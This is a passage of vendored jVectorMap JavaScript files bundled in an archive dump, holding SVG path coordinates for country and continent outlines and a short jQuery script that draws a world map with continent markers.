"M533.43,187.16l-1.27,-2.15l0.42,-0.98l-0.71,-3.04l1.03,-0.5l0.33,0.83l1.26,1.35l2.05,0.51l1.11,-0.16l2.89,-2.11l0.62,-0.14l0.39,0.46l-0.72,1.2l0.06,0.49l1.56,1.53l0.65,0.04l0.67,1.81l2.56,0.83l1.87,1.48l3.69,0.49l3.91,-0.76l0.47,-0.73l2.17,-0.6l1.66,-1.54l1.51,0.08l1.18,-0.53l1.59,0.24l2.83,1.48l1.88,0.3l2.77,2.47l1.77,0.18l0.18,1.99l-1.68,5.49l0.24,0.5l0.61,0.23l-0.82,1.48l0.8,2.18l0.19,1.71l0.3,0.34l1.63,0.4l0.15,1.32l-2.15,2.35l-0.01,0.53l2.21,3.03l2.34,1.24l0.06,2.14l1.24,0.72l0.11,0.69l-3.31,1.27l-1.08,3.03l-9.68,-1.68l-0.99,-3.05l-1.43,-0.73l-2.17,0.46l-2.47,1.26l-2.83,-0.82l-2.46,-2.02l-2.41,-0.8l-3.42,-6.06l-0.48,-0.2l-1.18,0.39l-1.44,-0.82l-0.5,0.08l-0.65,0.74l-0.97,-1.01l-0.02,-1.31l-0.71,-0.39l0.26,-1.81l-1.29,-2.11l-3.13,-1.63l-1.58,-2.43l0.5,-1.9l1.31,-1.26l-0.19,-1.66l-1.74,-1.1l-1.57,-3.3Z",
			name: "Iran",
		},
		AM: {
			path: "M536.99,182.33l-0.28,0.03l-1.23,-2.13l-0.93,0.01l-0.62,-0.66l-0.69,-0.07l-0.96,-0.81l-1.56,-0.62l0.19,-1.12l-0.26,-0.79l2.72,-0.36l1.09,1.01l-0.17,0.92l1.02,0.78l-0.47,0.62l0.08,0.56l2.04,1.23l0.04,1.4Z",
			name: "Armenia",
		},
		AL: {
			path: "M470.32,171.8l0.74,0.03l0.92,0.89l-0.17,1.95l0.36,1.28l1.01,0.82l-1.82,2.83l-0.19,-0.61l-1.25,-0.89l-0.18,-1.2l0.53,-2.82l-0.54,-1.47l0.6,-0.83Z",
			name: "Albania",
		},
		AO: {
			path: "M461.55,300.03l1.26,3.15l1.94,2.36l2.47,-0.53l1.25,0.32l0.44,-0.18l0.93,-1.92l1.31,-0.08l0.41,-0.44l0.47,-0.0l-0.1,0.41l0.39,0.49l2.65,-0.02l0.03,1.19l0.48,1.01l-0.34,1.52l0.18,1.55l0.83,1.04l-0.13,2.85l0.54,0.39l3.96,-0.41l-0.1,1.79l0.39,1.05l-0.24,1.43l-4.7,-0.03l-0.4,0.39l-0.12,8.13l2.92,3.49l-3.83,0.88l-5.89,-0.36l-1.88,-1.24l-10.47,0.22l-1.3,-1.01l-1.85,-0.16l-2.4,0.77l-0.15,-1.06l0.33,-2.16l1.0,-3.45l1.35,-3.2l2.24,-2.8l0.33,-2.06l-0.13,-1.53l-0.8,-1.08l-1.21,-2.87l0.87,-1.62l-1.27,-4.12l-1.17,-1.53l2.47,-0.63l7.03,0.03ZM451.71,298.87l-0.47,-1.25l1.25,-1.11l0.32,0.3l-0.99,1.03l-0.12,1.03Z",
			name: "Angola",
		},
		AR: {
			path: "M249.29,428.93l-2.33,-0.52l-5.83,-0.43l-0.89,-1.66l0.05,-2.37l-0.45,-0.4l-1.43,0.18l-0.67,-0.91l-0.2,-3.13l1.88,-1.47l0.79,-2.04l-0.25,-1.7l1.3,-2.68l0.91,-4.15l-0.22,-1.69l0.85,-0.45l0.2,-0.44l-0.27,-1.16l-0.98,-0.68l0.59,-0.92l-0.05,-0.5l-1.04,-1.07l-0.52,-3.1l0.97,-0.86l-0.42,-3.58l1.2,-5.43l1.38,-0.98l0.16,-0.43l-0.75,-2.79l-0.01,-2.43l1.78,-1.75l0.06,-2.57l1.43,-2.85l0.01,-2.58l-0.69,-0.74l-1.09,-4.52l1.47,-2.7l-0.18,-2.79l0.85,-2.35l1.59,-2.46l1.73,-1.64l0.05,-0.52l-0.6,-0.84l0.44,-0.85l-0.07,-4.19l2.7,-1.44l0.86,-2.75l-0.21,-0.71l1.76,-2.01l2.9,0.57l1.38,1.78l0.68,-0.08l0.87,-1.87l2.39,0.09l4.95,4.77l2.17,0.49l3.0,1.92l2.47,1.0l0.25,0.82l-2.37,3.93l0.23,0.59l5.39,1.16l2.12,-0.44l2.45,-2.16l0.5,-2.38l0.76,-0.31l0.98,1.2l-0.04,1.8l-3.67,2.51l-2.85,2.66l-3.43,3.88l-1.3,5.07l0.01,2.72l-0.54,0.73l-0.36,3.28l3.14,2.64l-0.16,2.11l1.4,1.11l-0.1,1.09l-2.29,3.52l-3.55,1.49l-4.92,0.6l-2.71,-0.29l-0.43,0.51l0.5,1.65l-0.49,2.1l0.38,1.42l-1.19,0.83l-2.36,0.38l-2.3,-1.04l-1.38,0.83l0.41,3.64l1.69,0.91l1.4,-0.71l0.36,0.76l-2.04,0.86l-2.01,1.89l-0.97,4.63l-2.34,0.1l-2.09,1.78l-0.61,2.75l2.46,2.31l2.17,0.63l-0.7,2.32l-2.83,1.73l-1.73,3.86l-2.17,1.22l-1.16,1.67l0.75,3.76l1.04,1.28ZM256.71,438.88l-2.0,0.15l-1.4,-1.22l-3.82,-0.1l-0.0,-5.83l1.6,3.05l3.26,2.07l3.08,0.78l-0.71,1.1Z",
			name: "Argentina",
		},
		AU: {
			path: "M705.8,353.26l0.26,0.04l0.17,-0.47l-0.48,-1.42l0.92,1.11l0.45,0.15l0.27,-0.39l-0.1,-1.56l-1.98,-3.63l1.09,-3.31l-0.24,-1.57l0.34,-0.62l0.38,1.06l0.43,-0.19l0.99,-1.7l1.91,-0.83l1.29,-1.15l1.81,-0.91l0.96,-0.17l0.92,0.26l1.92,-0.95l1.47,-0.28l1.03,-0.8l1.43,0.04l2.78,-0.84l1.36,-1.15l0.71,-1.45l1.41,-1.26l0.3,-2.58l1.27,-1.59l0.78,1.65l0.54,0.19l1.07,-0.51l0.15,-0.6l-0.73,-1.0l0.45,-0.71l0.78,0.39l0.58,-0.3l0.28,-1.82l1.87,-2.14l1.12,-0.39l0.28,-0.58l0.62,0.17l0.53,-0.73l1.87,-0.57l1.65,1.05l1.35,1.48l3.39,0.38l0.43,-0.54l-0.46,-1.23l1.05,-1.79l1.04,-0.61l0.14,-0.55l-0.25,-0.41l0.88,-1.17l1.31,-0.77l1.3,0.27l2.1,-0.48l0.31,-0.4l-0.05,-1.3l-0.92,-0.77l1.48,0.56l1.41,1.07l2.11,0.65l0.81,-0.2l1.4,0.7l1.69,-0.66l0.8,0.19l0.64,-0.33l0.71,0.77l-1.33,1.94l-0.71,0.07l-0.35,0.51l0.24,0.86l-1.52,2.35l0.12,1.05l2.15,1.65l1.97,0.85l3.04,2.36l1.97,0.65l0.55,0.88l2.72,0.85l1.84,-1.1l2.07,-5.97l-0.42,-3.59l0.3,-1.73l0.47,-0.87l-0.31,-0.68l1.09,-3.28l0.46,-0.47l0.4,0.71l0.16,1.51l0.65,0.52l0.16,1.04l0.85,1.21l0.12,2.38l0.9,2.0l0.57,0.18l1.3,-0.78l1.69,1.7l-0.2,1.08l0.53,2.2l0.39,1.3l0.68,0.48l0.6,1.95l-0.19,1.48l0.81,1.76l6.01,3.69l-0.11,0.76l1.38,1.58l0.95,2.77l0.58,0.22l0.72,-0.41l0.8,0.9l0.61,0.01l0.46,2.41l4.81,4.71l0.66,2.02l-0.07,3.31l1.14,2.2l-0.13,2.24l-1.1,3.68l0.03,1.64l-0.47,1.89l-1.05,2.4l-1.9,1.47l-1.72,3.51l-2.38,6.09l-0.24,2.82l-1.14,0.8l-2.85,0.15l-2.31,1.19l-2.51,2.25l-3.09,-1.57l0.3,-1.15l-0.54,-0.47l-1.5,0.63l-2.01,1.94l-7.12,-2.18l-1.48,-1.63l-1.14,-3.74l-1.45,-1.26l-1.81,-0.26l0.56,-1.18l-0.61,-2.1l-0.72,-0.1l-1.14,1.82l-0.9,0.21l0.63,-0.82l0.36,-1.55l0.92,-1.31l-0.13,-2.34l-0.7,-0.22l-2.0,2.34l-1.51,0.93l-0.94,2.01l-1.35,-0.81l-0.02,-1.52l-1.57,-2.04l-1.09,-0.88l0.24,-0.33l-0.14,-0.59l-3.21,-1.69l-1.83,-0.12l-2.54,-1.35l-4.58,0.28l-6.02,1.9l-2.53,-0.13l-2.62,1.41l-2.13,0.63l-1.49,2.6l-3.49,0.31l-2.29,-0.5l-3.48,0.43l-1.6,1.47l-0.81,-0.04l-2.37,1.63l-3.26,-0.1l-3.72,-2.21l0.04,-1.05l1.19,-0.46l0.49,-0.89l0.21,-2.97l-0.28,-1.64l-1.34,-2.86l-0.38,-1.47l0.05,-1.72l-0.95,-1.7l-0.18,-0.97l-1.01,-0.99l-0.29,-1.98l-1.13,-1.75ZM784.92,393.44l2.65,1.02l3.23,-0.96l1.09,0.14l0.15,3.06l-0.85,1.13l-0.17,1.63l-0.87,-0.24l-1.57,1.91l-1.68,-0.18l-1.4,-2.36l-0.37,-2.04l-1.39,-2.51l0.04,-0.8l1.15,0.18Z",
			name: "Australia",
		},
		AT: {
			path: "M462.89,152.8l0.04,2.25l-1.07,0.0l-0.33,0.63l0.36,0.51l-1.04,2.13l-2.02,0.07l-1.33,0.7l-5.29,-0.99l-0.47,-0.93l-0.44,-0.21l-2.47,0.55l-0.42,0.51l-3.18,-0.81l0.43,-0.91l1.12,0.78l0.6,-0.17l0.25,-0.58l1.93,0.12l1.86,-0.56l1.0,0.08l0.68,0.57l0.62,-0.15l0.26,-0.77l-0.3,-1.78l0.8,-0.44l0.68,-1.15l1.52,0.85l0.47,-0.06l1.34,-1.25l0.64,-0.17l1.81,0.92l1.28,-0.11l0.7,0.37Z",
			name: "Austria",
		},
		IN: {
			path: "M623.34,207.03l-1.24,1.04l-0.97,2.55l0.22,0.51l8.04,3.87l3.42,0.37l1.57,1.38l4.92,0.88l2.18,-0.04l0.38,-0.3l0.29,-1.24l-0.32,-1.64l0.14,-0.87l0.82,-0.31l0.45,2.48l2.28,1.02l1.77,-0.38l4.14,0.1l0.38,-0.36l0.18,-1.66l-0.5,-0.65l1.37,-0.29l2.25,-1.99l2.7,-1.62l1.93,0.62l1.8,-0.98l0.79,1.14l-0.68,0.91l0.26,0.63l2.42,0.36l0.09,0.47l-0.83,0.75l0.13,1.07l-1.52,-0.29l-3.24,1.86l-0.13,1.78l-1.32,2.14l-0.18,1.39l-0.93,1.82l-1.64,-0.5l-0.52,0.37l-0.09,2.63l-0.56,1.11l0.19,0.81l-0.53,0.27l-1.18,-3.73l-1.08,-0.27l-0.38,0.31l-0.24,1.0l-0.66,-0.66l0.54,-1.06l1.22,-0.34l1.15,-2.25l-0.24,-0.56l-1.57,-0.47l-4.34,-0.28l-0.18,-1.56l-0.35,-0.35l-1.11,-0.12l-1.91,-1.12l-0.56,0.17l-0.88,1.82l0.11,0.49l1.36,1.07l-1.09,0.69l-0.69,1.11l0.18,0.56l1.24,0.57l-0.32,1.54l0.85,1.94l0.36,2.01l-0.22,0.59l-4.58,0.52l-0.33,0.42l0.13,1.8l-1.17,1.36l-3.65,1.81l-2.79,3.03l-4.32,3.28l-0.18,1.27l-4.65,1.79l-0.77,2.16l0.64,5.3l-1.06,2.49l-0.01,3.94l-1.24,0.28l-1.14,1.93l0.39,0.84l-1.68,0.53l-1.04,1.83l-0.65,0.47l-2.06,-2.05l-2.1,-6.02l-2.2,-3.64l-1.05,-4.75l-2.29,-3.57l-1.76,-8.2l0.01,-3.11l-0.49,-2.53l-0.55,-0.29l-3.53,1.52l-1.53,-0.27l-2.86,-2.77l0.85,-0.67l0.08,-0.55l-0.74,-1.03l-2.67,-2.06l1.24,-1.32l5.34,0.01l0.39,-0.49l-0.5,-2.29l-1.42,-1.46l-0.27,-1.93l-1.43,-1.2l2.31,-2.37l3.05,0.06l2.62,-2.85l1.6,-2.81l2.4,-2.73l0.07,-2.04l1.97,-1.48l-0.02,-0.65l-1.93,-1.31l-0.82,-1.78l-0.8,-2.21l0.9,-0.89l3.59,0.65l2.92,-0.42l2.33,-2.19l2.31,2.85l-0.24,2.13l0.99,1.59l-0.05,0.82l-1.34,-0.28l-0.47,0.48l0.7,3.06l2.62,1.99l2.99,1.65Z",
			name: "India",
		},
		TZ: {
			path: "M495.56,296.42l2.8,-3.12l-0.02,-0.81l-0.64,-1.3l0.68,-0.52l0.14,-1.47l-0.76,-1.25l0.31,-0.11l2.26,0.03l-0.51,2.76l0.76,1.3l0.5,0.12l1.05,-0.53l1.19,-0.12l0.61,0.24l1.43,-0.62l0.1,-0.67l-0.71,-0.62l1.57,-1.7l8.65,4.86l0.32,1.53l3.34,2.33l-1.05,2.8l0.13,1.61l1.63,1.12l-0.6,1.76l-0.01,2.33l1.89,4.03l0.57,0.43l-1.46,1.08l-2.61,0.94l-1.43,-0.04l-1.06,0.77l-2.29,0.36l-2.87,-0.68l-0.83,0.07l-0.63,-0.75l-0.31,-2.78l-1.32,-1.35l-3.25,-0.77l-3.96,-1.58l-1.18,-2.41l-0.32,-1.75l-1.76,-1.49l0.42,-1.05l-0.44,-0.89l0.08,-0.96l-0.46,-0.58l0.06,-0.56Z",
			name: "Tanzania",
		},
		AZ: {
			path: "M539.29,175.73l1.33,0.32l1.94,-1.8l2.3,3.34l1.43,0.43l-1.26,0.15l-0.35,0.32l-0.8,3.14l-0.99,0.96l0.05,1.11l-1.26,-1.13l0.7,-1.18l-0.04,-0.47l-0.74,-0.86l-1.48,0.15l-2.34,1.71l-0.03,-1.27l-2.03,-1.35l0.47,-0.62l-0.08,-0.56l-1.03,-0.79l0.29,-0.43l-0.14,-0.58l-1.13,-0.86l1.89,0.68l1.69,0.06l0.37,-0.87l-0.81,-1.37l0.42,0.06l1.63,1.72ZM533.78,180.57l0.61,0.46l0.69,-0.0l0.59,1.15l-0.68,-0.15l-1.21,-1.45Z",
			name: "Azerbaijan",
		},
		IE: {
			path: "M405.08,135.42l0.35,2.06l-1.75,2.78l-4.22,1.88l-2.84,-0.4l1.73,-3.0l-1.18,-3.53l4.6,-3.74l0.32,1.15l-0.49,1.74l0.4,0.51l1.47,-0.04l1.6,0.6Z",
			name: "Ireland",
		},
		ID: {
			path: "M756.47,287.89l0.69,4.01l2.79,1.78l0.51,-0.1l2.04,-2.59l2.71,-1.43l2.05,-0.0l3.9,1.73l2.46,0.45l0.08,15.12l-1.75,-1.54l-2.54,-0.51l-0.88,0.71l-2.32,0.06l0.69,-1.33l1.45,-0.64l0.23,-0.46l-0.65,-2.74l-1.24,-2.21l-5.04,-2.29l-2.09,-0.23l-3.68,-2.27l-0.55,0.13l-0.65,1.07l-0.52,0.12l-0.55,-1.89l-1.21,-0.78l1.84,-0.62l1.72,0.05l0.39,-0.52l-0.21,-0.66l-0.38,-0.28l-3.45,-0.0l-1.13,-1.48l-2.1,-0.43l-0.52,-0.6l2.69,-0.48l1.28,-0.78l3.66,0.94l0.3,0.71ZM757.91,300.34l-0.62,0.82l-0.1,-0.8l0.59,-1.12l0.13,1.1ZM747.38,292.98l0.34,0.72l-1.22,-0.57l-4.68,-0.1l0.27,-0.62l2.78,-0.09l2.52,0.67ZM741.05,285.25l-0.67,-2.88l0.64,-2.01l0.41,0.86l1.21,0.18l0.16,0.7l-0.1,1.68l-0.84,-0.16l-0.46,0.3l-0.34,1.34ZM739.05,293.5l-0.5,0.44l-1.34,-0.36l-0.17,-0.37l1.73,-0.08l0.27,0.36ZM721.45,284.51l-0.19,1.97l2.24,2.23l0.54,0.02l1.27,-1.07l2.75,-0.5l-0.9,1.21l-2.11,0.93l-0.16,0.6l2.22,3.01l-0.3,1.07l1.36,1.74l-2.26,0.85l-0.28,-0.31l0.12,-1.19l-1.64,-1.34l0.17,-2.23l-0.56,-0.39l-1.67,0.76l-0.23,0.39l0.3,6.17l-1.1,0.25l-0.69,-0.47l0.64,-2.21l-0.39,-2.42l-0.39,-0.34l-0.8,-0.01l-0.58,-1.29l0.98,-1.6l0.35,-1.96l1.32,-3.87ZM728.59,296.27l0.38,0.49l-0.02,1.28l-0.88,0.49l-0.53,-0.47l1.04,-1.79ZM729.04,286.98l0.27,-0.05l-0.02,0.13l-0.24,-0.08ZM721.68,284.05l0.16,-0.32l1.89,-1.65l1.83,0.68l3.16,0.35l2.94,-0.1l2.39,-1.66l-1.73,2.13l-1.66,0.43l-2.41,-0.48l-4.17,0.13l-2.39,0.51ZM730.55,310.47l1.11,-1.93l2.03,-0.82l0.08,0.62l-1.45,1.67l-1.77,0.46ZM728.12,305.88l-0.1,0.38l-3.46,0.66l-2.91,-0.27l-0.0,-0.25l1.54,-0.41l1.66,0.73l1.67,-0.19l1.61,-0.65ZM722.9,310.24l-0.64,0.03l-2.26,-1.2l1.11,-0.24l1.78,1.41ZM716.26,305.77l0.88,0.51l1.28,-0.17l0.2,0.35l-4.65,0.73l0.39,-0.67l1.15,-0.02l0.75,-0.73ZM711.66,293.84l-0.38,-0.16l-2.54,1.01l-1.12,-1.44l-1.69,-0.13l-1.16,-0.75l-3.04,0.77l-1.1,-1.15l-3.31,-0.11l-0.35,-3.05l-1.35,-0.95l-1.11,-1.98l-0.33,-2.06l0.27,-2.14l0.9,-1.01l0.37,1.15l2.09,1.49l1.53,-0.48l1.82,0.08l1.38,-1.19l1.0,-0.18l2.28,0.67l2.26,-0.53l1.52,-3.64l1.01,-0.99l0.78,-2.57l4.1,0.3l-1.11,1.77l0.02,0.46l1.7,2.2l-0.23,1.39l2.07,1.71l-2.33,0.42l-0.88,1.9l0.1,2.05l-2.4,1.9l-0.06,2.45l-0.7,2.79ZM692.58,302.03l0.35,0.26l4.8,0.25l0.78,-0.97l4.17,1.09l1.13,1.68l3.69,0.45l2.13,1.04l-1.8,0.6l-2.77,-0.99l-4.8,-0.12l-5.24,-1.41l-1.84,-0.25l-1.11,0.3l-4.26,-0.97l-0.7,-1.14l-1.59,-0.13l1.18,-1.65l2.74,0.13l2.87,1.13l0.26,0.68ZM685.53,299.17l-2.22,0.04l-2.06,-2.03l-3.15,-2.01l-2.93,-3.51l-3.11,-5.33l-2.2,-2.12l-1.64,-4.06l-2.32,-1.69l-1.27,-2.07l-1.96,-1.5l-2.51,-2.65l-0.11,-0.66l4.81,0.53l2.15,2.38l3.31,2.74l2.35,2.66l2.7,0.17l1.95,1.59l1.54,2.17l1.59,0.95l-0.84,1.71l0.15,0.52l1.44,0.87l0.79,0.1l0.4,1.58l0.87,1.4l1.96,0.39l1.0,1.31l-0.6,3.01l-0.09,3.5Z",
			name: "Indonesia",
		},
		UA: {
			path: "M492.5,162.44l1.28,-2.49l1.82,0.19l0.66,-0.23l0.09,-0.71l-0.25,-0.75l-0.79,-0.72l-0.33,-1.21l-0.86,-0.62l-0.02,-1.19l-1.13,-0.86l-1.15,-0.19l-2.04,-1.0l-1.66,0.32l-0.66,0.47l-0.92,-0.0l-0.84,0.78l-2.48,0.7l-1.18,-0.71l-3.07,-0.36l-0.89,0.43l-0.24,-0.55l-1.11,-0.7l0.35,-0.93l1.26,-1.02l-0.54,-1.23l2.04,-2.43l1.4,-0.62l0.25,-1.19l-1.04,-2.39l0.83,-0.13l1.28,-0.84l1.8,-0.07l2.47,0.26l2.86,0.81l1.88,0.06l0.86,0.44l1.04,-0.41l0.77,0.66l2.18,-0.15l0.92,0.3l0.52,-0.34l0.15,-1.53l0.56,-0.54l2.85,-0.05l0.84,-0.72l3.04,-0.18l1.23,1.46l-0.48,0.77l0.21,1.03l0.36,0.32l1.8,0.14l0.93,2.08l3.18,1.15l1.94,-0.45l1.67,1.49l1.4,-0.03l3.35,0.96l0.02,0.54l-0.96,1.59l0.47,1.97l-0.26,0.7l-2.36,0.28l-1.29,0.89l-0.23,1.38l-1.83,0.27l-1.58,0.97l-2.41,0.21l-2.16,1.17l-0.21,0.38l0.34,2.26l1.23,0.75l2.13,-0.08l-0.14,0.31l-2.65,0.53l-3.23,1.69l-0.87,-0.39l0.42,-1.1l-0.25,-0.52l-2.21,-0.73l2.35,-1.06l0.12,-0.65l-0.93,-0.82l-3.62,-0.74l-0.13,-0.89l-0.46,-0.34l-2.61,0.59l-0.91,1.69l-1.71,2.04l-0.86,-0.4l-1.62,0.27Z",
			name: "Ukraine",
		},
		QA: {
			path: "M549.33,221.64l-0.76,-0.23l-0.14,-1.64l0.84,-1.29l0.47,0.52l0.04,1.34l-0.45,1.3Z",
			name: "Qatar",
		},
		MZ: {
			path: "M508.58,318.75l-0.34,-2.57l0.51,-2.05l3.55,0.63l2.5,-0.38l1.02,-0.76l1.49,0.01l2.74,-0.98l1.66,-1.2l0.5,9.24l0.41,1.23l-0.68,1.67l-0.93,1.71l-1.5,1.5l-5.16,2.28l-2.78,2.73l-1.02,0.53l-1.71,1.8l-0.98,0.57l-0.35,2.41l1.16,1.94l0.49,2.17l0.43,0.31l-0.06,2.06l-0.39,1.17l0.5,0.72l-0.25,0.73l-0.92,0.83l-5.12,2.39l-1.22,1.36l0.21,1.13l0.58,0.39l-0.11,0.72l-1.22,-0.01l-0.73,-2.97l0.42,-3.09l-1.78,-5.37l2.49,-2.81l0.69,-1.89l0.44,-0.43l0.28,-1.53l-0.39,-0.93l0.59,-3.65l-0.01,-3.26l-1.49,-1.16l-1.2,-0.22l-1.74,-1.17l-1.92,0.01l-0.29,-2.08l7.06,-1.96l1.28,1.09l0.89,-0.1l0.67,0.44l0.1,0.73l-0.51,1.29l0.19,1.81l1.75,1.83l0.65,-0.13l0.71,-1.65l1.17,-0.86l-0.26,-3.47l-1.05,-1.85l-1.04,-0.94Z",
			name: "Mozambique",
		},
	},
	height: 440.7063107441331,
	projection: { type: "mill", centralMeridian: 11.5 },
	width: 900.0,
});
vendor/jvectormap/custom/world-map-markers4.js000066600000002023151150442740015517 0ustar00$(function () {
	$("#worldmap4").vectorMap({
		map: "continents_mill",
		hoverColor: false,
		zoomOnScroll: false,
		series: {
			regions: [
				{
					values: gdpData,
					scale: ["#5b4fb9", "#00a1ff"],
				},
			],
		},
		markerStyle: {
			initial: {
				fill: "#ffffff",
				stroke: "#00a1ff",
				"fill-opacity": 1,
				"stroke-width": 10,
				"stroke-opacity": 0.4,
				r: 15,
			},
			hover: {
				fill: "#ffffff",
				stroke: "#e13d4b",
				"fill-opacity": 0.8,
				"stroke-width": 10,
				"stroke-opacity": 0.4,
				r: 15,
				cursor: "pointer",
			},
		},
		regionStyle: {
			initial: {
				fill: "#00a1ff",
			},
			hover: {
				"fill-opacity": 0.8,
			},
			selected: {
				fill: "#333333",
			},
		},
		backgroundColor: "transparent",
		markers: [
			{ latLng: [12, 23], name: "Africa" },
			{ latLng: [65, 100], name: "Europe" },
			{ latLng: [37, 85], name: "Asia" },
			{ latLng: [49, -105], name: "North America" },
			{ latLng: [-15, -60], name: "South America" },
			{ latLng: [-25, 140], name: "Australia" },
		],
	});
});
vendor/jvectormap/continents-mill.js000066600000143423151150442740013706 0ustar00jQuery.fn.vectorMap("addMap", "continents_mill", {
	insets: [
		{
			width: 900,
			top: 0,
			height: 440.7063107441331,
			bbox: [
				{ y: -12671671.123330014, x: -20004297.151525836 },
				{ y: 6930392.025135122, x: 20026572.394749384 },
			],
			left: 0,
		},
	],
	paths: {
		AF: {
			path: "M388.36,214.16l1.16,-0.96l2.44,-0.39l1.94,-1.82l1.31,-0.78l2.09,-2.28l-0.51,-3.65l1.24,-3.7l1.5,-1.75l4.46,-2.57l2.37,-4.47l1.44,0.01l1.68,1.21l2.32,-0.19l3.7,0.65l2.57,-1.58l2.63,-0.48l1.7,-1.22l2.31,-0.84l8.24,-0.73l1.49,0.38l2.28,-1.1l2.46,-0.02l1.18,0.67l1.83,-0.2l2.61,-1.12l1.29,0.26l-0.06,1.11l0.58,0.38l1.47,-0.73l-1.0,1.27l-0.02,1.32l0.84,0.88l-0.28,2.09l-1.53,1.32l-0.12,0.42l0.48,1.54l1.42,0.32l0.53,1.11l1.19,0.65l2.94,0.96l1.18,-0.21l1.98,0.44l3.15,1.18l1.37,2.54l5.72,1.67l2.64,1.35l1.61,-0.72l1.29,-1.34l-0.44,-2.34l0.66,-1.13l1.67,-1.21l1.57,-0.35l3.14,0.53l1.08,1.28l3.99,0.78l0.85,0.94l3.27,-0.04l5.97,1.95l2.23,-0.88l1.02,-0.77l2.04,-0.21l1.53,0.3l0.59,1.19l0.69,0.04l0.41,-0.64l1.81,0.58l1.95,0.16l1.04,-0.51l1.42,4.08l-1.8,4.36l-0.23,0.18l-1.66,-1.77l-1.76,-3.85l-0.64,-0.12l-0.36,0.67l1.04,2.88l3.47,7.0l1.75,2.99l2.03,2.65l-0.36,0.53l0.23,2.01l3.25,2.79l0.71,2.25l-0.49,0.66l0.36,2.69l0.93,3.16l2.39,1.75l1.39,2.86l0.8,2.51l4.8,3.68l3.5,3.77l1.71,1.41l-0.05,0.66l-1.2,0.51l-0.06,0.7l1.8,1.11l0.53,1.06l1.13,1.06l1.51,0.12l5.22,-0.97l4.31,-1.4l2.24,-0.15l2.43,-0.62l1.24,-0.86l0.45,-0.0l-0.2,3.0l-1.21,3.62l-2.73,5.97l-2.13,3.65l-5.03,6.16l-8.56,6.4l-2.78,3.08l-1.1,1.86l-1.7,0.97l-0.67,1.03l-1.08,0.46l-0.34,1.67l-0.81,1.07l-0.45,1.55l-1.03,0.92l-1.18,3.28l0.35,1.73l1.43,0.82l-0.6,1.76l-0.01,2.33l1.89,4.03l0.96,0.67l0.33,0.93l0.31,8.69l0.41,1.23l-1.61,3.38l-1.5,1.5l-5.16,2.28l-2.78,2.73l-1.02,0.53l-1.71,1.8l-0.98,0.57l-0.35,2.41l1.16,1.94l0.49,2.17l0.43,0.31l-0.06,2.06l-0.39,1.17l0.5,0.72l-0.25,0.73l-0.92,0.83l-5.03,2.32l-1.19,1.05l0.09,1.5l0.58,0.39l-1.08,5.21l-0.58,1.09l-2.2,1.79l-3.17,4.76l-4.54,4.48l-1.83,1.23l-2.53,1.05l-1.22,0.14l-0.51,0.7l-1.18,-0.32l-1.39,0.5l-2.59,-0.52l-1.61,0.33l-1.18,-0.11l-2.55,1.1l-2.1,0.44l-1.6,1.07l-0.85,0.05l-0.93,-0.89l-0.93,-0.15l-0.97,-1.13l-0.25,0.05l-0.13,-1.96l-0.68,-1.56l0.7,-0.68l-0.13,-2.33l-4.68,-8.43l-1.88,-2.1l-0.93,-1.88l-1.99,-8.56l-0.06,-3.12l-0.33,-1.52l-2.3,-3.34l-1.91,-4.83l-1.96,-2.43l-0.37,-3.45l0.33,-2.16l1.78,-5.68l2.87,-3.95l0.13,-3.41l-0.8,-1.08l-1.21,-2.87l0.87,-1.62l-1.27,-4.12l-1.17,-1.53l0.13,-0.6l-1.01,-2.64l-2.12,-2.77l-4.21,-4.58l-1.44,-2.45l1.72,-5.12l-0.39,-0.62l1.16,-4.58l-1.03,-1.93l-1.19,-0.54l-0.44,-0.97l-0.6,-0.42l0.02,-0.45l-0.53,-0.39l-2.51,0.87l-1.11,-0.07l-0.86,0.5l-1.71,-0.05l-1.19,-1.39l-0.89,-1.89l-1.77,-1.66l-4.36,-0.08l-4.23,0.85l-7.43,3.01l-2.11,-0.67l-4.62,-0.46l-3.02,0.44l-4.2,1.63l-1.01,-0.04l-2.45,-1.13l-4.38,-3.26l-1.66,-1.6l-2.51,-1.23l-1.22,-1.26l-0.76,-2.79l-2.11,-2.53l-1.2,-0.78l-0.67,-1.67l-2.15,-1.57l-1.09,-0.23l-0.54,-1.06l-0.65,-0.46l-0.5,-2.23l0.26,-1.33l-1.03,-1.99l-0.81,-0.64l0.64,-0.35l1.84,-3.18l-0.17,-1.48l0.68,-1.29l0.31,-2.43l-0.57,-3.91l0.2,-1.48l-0.74,-1.36l-1.16,-0.99l0.19,-1.94l0.92,-0.73l0.82,-1.37l-0.09,-1.04l0.79,-1.7l1.31,-1.58l0.96,-0.59l0.66,-1.55l0.09,-1.47l0.81,-1.48l1.72,-1.07l1.55,-2.69ZM508.61,319.02l-0.38,-2.84l0.59,-2.36l-0.82,-1.23l-0.31,-2.78l-1.32,-1.35l-0.67,0.17l-0.22,0.77l0.87,1.86l0.15,2.86l-0.69,1.65l0.71,1.8l0.06,1.28l0.49,0.64l0.07,1.06l0.4,0.55l0.8,-0.23l0.55,0.61l0.69,-0.19l0.04,-0.53l-0.51,-1.36l-0.5,-0.36ZM500.35,287.48l-0.53,3.14l0.76,1.3l0.5,0.12l1.05,-0.53l1.19,-0.12l0.61,0.24l1.43,-0.62l0.1,-0.67l-0.71,-0.62l1.92,-2.15l0.1,-2.1l-0.91,-1.28l-1.64,-0.47l-2.77,1.06l-1.15,1.46l0.04,1.23ZM496.99,305.58l-0.14,0.54l0.29,0.49l1.21,0.63l0.83,-0.05l0.23,-0.55l-1.44,-2.93l-0.18,-1.49l-1.9,-1.74l0.42,-1.05l-0.44,-0.89l0.08,-0.96l-0.46,-0.58l0.08,-1.16l-0.93,-2.42l-0.42,-0.25l-0.35,0.35l-0.45,4.01l0.64,1.47l-0.37,1.22l0.86,1.8l1.53,1.41l0.3,1.26l0.61,0.9ZM545.91,319.14l0.4,3.03l0.62,1.21l-0.21,1.02l-0.57,-0.8l-0.69,-0.01l-0.47,0.76l0.41,2.12l-0.18,0.87l-0.73,0.78l-0.15,2.14l-4.71,15.2l-1.06,2.88l-3.92,1.64l-3.12,-1.49l-0.6,-1.21l-0.19,-2.4l-0.86,-2.05l-0.21,-1.77l0.38,-1.62l1.21,-0.75l0.01,-0.76l1.19,-2.04l0.23,-1.66l-1.06,-2.99l-0.19,-2.21l0.81,-1.33l0.32,-1.46l4.63,-1.22l3.44,-3.0l0.85,-1.4l-0.08,-0.7l0.78,-0.04l1.38,-1.77l0.13,-1.64l0.45,-0.61l1.16,1.69l0.59,1.6Z",
			name: "Africa",
		},
		NA: {
